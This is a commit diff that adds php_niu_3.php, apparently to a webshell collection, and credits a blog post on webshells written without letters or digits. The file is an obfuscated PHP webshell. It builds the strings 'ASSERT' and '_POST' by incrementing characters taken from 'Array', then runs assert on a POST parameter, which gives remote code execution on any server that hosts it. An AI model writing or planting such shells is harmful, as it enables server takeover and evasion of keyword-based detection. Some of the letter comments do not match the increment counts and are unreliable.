Create php_niu_3.php

from : https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
![img](https://www.leavesongs.com/media/attachment/2017/02/17/d92e3d40-a451-4fc4-a516-e0747b721c69.2b122097850e.jpg)

Author: tennc

php_niu_3.php

@@ -0,0 +1,35 @@
+<?php
+$_=[];
+$_=@"$_"; // $_='Array';
+$_=$_['!'=='@']; // $_=$_[0];
+$___=$_; // A
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
+$___.=$__; // S
+$___.=$__; // S
+$__=$_;
+$__++;$__++;$__++;$__++; // E 
+$___.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
+$___.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
+$___.=$__;
+
+$____='_';
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
+$____.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
+$____.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
+$____.=$__;
+$__=$_;
+$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
+$____.=$__;
+
+$_=$$____;
+$___($_[_]); // ASSERT($_POST[_]);